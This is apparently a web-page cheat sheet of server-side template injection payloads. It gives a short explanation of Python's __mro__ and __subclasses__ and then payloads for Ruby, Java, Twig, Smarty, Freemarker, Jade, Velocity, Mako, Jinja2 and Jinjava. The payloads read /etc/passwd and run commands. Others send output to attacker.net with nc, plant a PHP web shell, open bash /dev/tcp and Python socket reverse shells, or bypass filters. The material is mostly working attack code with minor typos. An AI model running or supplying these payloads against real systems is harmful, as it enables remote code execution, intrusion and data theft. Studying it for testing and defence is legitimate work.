The MRO in \_\_mro\_\_ stands for Method Resolution Order, and is defined [here](https://docs.python.org/release/2.6.4/library/stdtypes.html" \l "class.__mro__" \t "https://medium.com/server-side-template-injection/_blank) as, "a tuple of classes that are considered when looking for base classes during method resolution." The \_\_mro\_\_ attribute consists of the object's inheritance map in a tuple consisting of the class, its base, its base's base, and so on up to object (if using new-style classes). It is an attribute of each object's metaclass, but is a truly hidden attribute, as Python explicitly leaves it out of dir output (see [Objects/object.c at line 1812](http://hg.python.org/cpython/file/3a1db0d2747e/Objects/object.c" \l "l1812" \t "https://medium.com/server-side-template-injection/_blank)) when conducting introspection.

The \_\_subclasses\_\_ attribute is defined [here](https://docs.python.org/release/2.6.4/library/stdtypes.html" \l "class.__subclasses__" \t "https://medium.com/server-side-template-injection/_blank) as a method that "keeps a list of weak references to its immediate subclasses." for each new-style class, and "returns a list of all those references still alive."

Greatly simplified, \_\_mro\_\_ allows us to go back up the tree of inherited objects in the current Python environment, and \_\_subclasses\_\_ lets us come back down. So what's the impact on the search of a greater exploit for SSTI in Flask/Jinja2? By starting with a new-type object, e.g. type str, we can crawl up the inheritance tree to the root object class using \_\_mro\_\_, then crawl back down to every new-style object in the Python environment using \_\_subclasses\_\_. Yes, this gives us access to every class loaded in the current python environment

The first thing we want to do is select a new-style object to use for accessing the object base class. We can simply use '', a blank string, object type str. Then, we can use the \_\_mro\_\_ attribute to access the object's inherited classes. Inject {{ ''.\_\_class\_\_.\_\_mro\_\_ }} as a payload into the SSTI vulnerability. Since we want to go back to the root object class, we'll leverage an index of 2 to select the class type object. Now that we're at the root object, we can leverage the \_\_subclasses\_\_ attribute to dump all of the classes used in the application. Inject {{ ''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_() }} into the SSTI vulnerability.

*‘’.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()[40](‘/etc/passwd’).read() }}*

Note: Subclass 40 is to read a file.



/etc/passwd file content displayed

## **Ruby**

## **Basic injection**

<%= 7 \* 7 %>

## **Retrieve /etc/passwd**

<%= File.open('/etc/passwd').read %>

## **List files and directories**

<%= Dir.entries('/') %>

## **Java**

## **Basic injection**

${7\*7}  
${{7\*7}}  
${class.getClassLoader()}  
${class.getResource("").getPath()}  
${class.getResource("../../../../../index.htm").getContent()}

## **Retrieve the system’s environment variables**

${T(java.lang.System).getenv()}

## **Retrieve /etc/passwd**

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

## **Twig**

## **Basic injection**

{{7\*7}}  
{{7\*'7'}} would result in 49

# **Template format**

$output = $twig > render (  
 'Dear' . $\_GET['custom\_greeting'],  
 array("first\_name" => $user.first\_name)  
);$output = $twig > render (  
 "Dear {first\_name}",  
 array("first\_name" => $user.first\_name)  
);

## **Code execution**

{{self}}  
{{\_self.env.setCache("ftp://attacker.net:2121")}}{{\_self.env.loadTemplate("backdoor")}}  
{{\_self.env.registerUndefinedFilterCallback("exec")}}{{\_self.env.getFilter("id")}}

## **Smarty**

{php}echo `id`;{/php}  
{Smarty\_Internal\_Write\_File::writeFile($SCRIPT\_NAME,"<?php passthru($\_GET['cmd']); ?>",self::clearConfig())}

## **Freemarker**

You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org/" \t "https://medium.com/server-side-template-injection/_blank)

## **Basic injection**

The template can be ${3\*3} or the legacy #{3\*3}

## **Code execution**

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}  
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}  
${"freemarker.template.utility.Execute"?new()("id")}

## **Jade / Codepen**

- var x = root.process  
- x = x.mainModule.require  
- x = x('child\_process')  
= x.exec('id | nc attacker.net 80')

## **Velocity**

#set($str=$class.inspect("java.lang.String").type)  
#set($chr=$class.inspect("java.lang.Character").type)  
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))  
$ex.waitFor()  
#set($out=$ex.getInputStream())  
#foreach($i in [1..$out.available()])  
$str.valueOf($chr.toChars($out.read()))  
#end

## **Mako**

<%  
import os  
x=os.popen('id').read()  
%>  
${x}

## **Jinja2**

[Official website](http://jinja.pocoo.org/" \t "https://medium.com/server-side-template-injection/_blank)

Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.

## **Basic injection**

{{4\*4}}[[5\*5]]  
{{7\*'7'}} would result in 7777777  
{{config.items()}}

Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on Flask application.

## **Template format**

{% extends "layout.html" %}  
{% block body %}  
 <ul>  
 {% for user in users %}  
 <li><a href="{{ user.url }}">{{ user.username }}</a></li>  
 {% endfor %}  
 </ul>  
{% endblock %}

## **Dump all used classes**

{{ [].class.base.subclasses() }}  
{{''.class.mro()[1].subclasses()}}  
{{ ''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_() }}

## **Dump all config variables**

{% for key, value in config.iteritems() %}  
 <dt>{{ key|e }}</dt>  
 <dd>{{ value|e }}</dd>  
{% endfor %}

## **Read remote file**

# ''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()[40] = File class  
{{ ''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()[40]('/etc/passwd').read() }}  
{{ config.items()[4][1].\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()[40]("/tmp/flag").read() }}

## **Write into remote file**

{{ ''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

## **Remote Code Execution**

Listen for connection

nv -lnvp 8000

## **Exploit the SSTI by calling subprocess.Popen.**

⚠️ the number 396 will vary depending of the application.

{{''.\_\_class\_\_.mro()[1].\_\_subclasses\_\_()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

## **Exploit the SSTI by calling Popen without guessing the offset**

{% for x in ().\_\_class\_\_.\_\_base\_\_.\_\_subclasses\_\_() %}{% if "warning" in x.\_\_name\_\_ %}{{x().\_module.\_\_builtins\_\_['\_\_import\_\_']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\" \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## **Exploit the SSTI by writing an evil config file.**

# evil config  
{{ ''.\_\_class\_\_.\_\_mro\_\_[2].\_\_subclasses\_\_()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check\_output\n\nRUNCMD = check\_output\n') }} # load the evil config  
{{ config.from\_pyfile('/tmp/evilconfig.cfg') }} # connect to evil host  
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

## **Filter bypass**

request.\_\_class\_\_  
request["\_\_class\_\_"]

Bypassing \_

[http://localhost:5000/?exploit={{request|attr([request.args.usc\*2,request.args.class,request.args.usc\*2]|join)}}&class=class&usc=\_](http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_" \t "https://medium.com/server-side-template-injection/_blank){{request|attr([request.args.usc\*2,request.args.class,request.args.usc\*2]|join)}}  
{{request|attr(["\_"\*2,"class","\_"\*2]|join)}}  
{{request|attr(["\_\_","class","\_\_"]|join)}}  
{{request|attr("\_\_class\_\_")}}  
{{request.\_\_class\_\_}}

Bypassing [ and ]

[http://localhost:5000/?exploit={{request|attr((request.args.usc\*2,request.args.class,request.args.usc\*2)|join)}}&class=class&usc=\_](http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_" \t "https://medium.com/server-side-template-injection/_blank)  
or  
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=\_&a=\_&a=class&a=\_&a=\_

Bypassing |join

[http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=\_](http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_" \t "https://medium.com/server-side-template-injection/_blank)

## **Jinjava**

## **Basic injection**

{{'a'.toUpperCase()}} would result in 'A'  
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava is an open source project developped by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/" \t "https://medium.com/server-side-template-injection/_blank)

## **Command execution**

Fixed by [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230" \t "https://medium.com/server-side-template-injection/_blank)

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}  
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}